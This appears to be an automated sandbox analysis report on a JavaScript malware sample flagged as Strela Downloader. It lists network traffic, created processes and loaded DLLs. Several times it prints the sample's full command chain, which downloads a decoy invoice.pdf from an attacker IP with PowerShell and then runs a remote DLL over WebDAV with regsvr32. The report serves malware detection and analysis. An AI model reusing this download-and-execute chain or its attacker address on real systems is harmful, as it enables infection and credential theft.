HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2067746028.000001F1BB3C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2128370776.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134695544.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2135097201.000001B39C29F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134472356.000001B39C248000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117146339.000001B39C29D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2128370776.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2134695544.000001B39C27D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000007.00000002.2134472356.000001B39C248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tace
Source: svchost.exe, 00000009.00000002.3361037087.0000022466600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2129426791.00000224664F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2716, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2280028191949810979.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4284:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xh3b3let.j1p.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SharedDataEvents-journal.5.dr

Binary or memory string: CREATE TABLE pref_events (event_id INTEGER NOT NULL PRIMARY KEY, event_time INTEGER NOT NULL, instance_guid TEXT NOT NULL, section_name TEXT NOT NULL, pref_key TEXT, pref_value TEXT, client_nonce INTEGER NOT NULL, added INTEGER NOT NULL );V

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,9126985181628110033,4976645191592009449,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,9126985181628110033,4976645191592009449,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
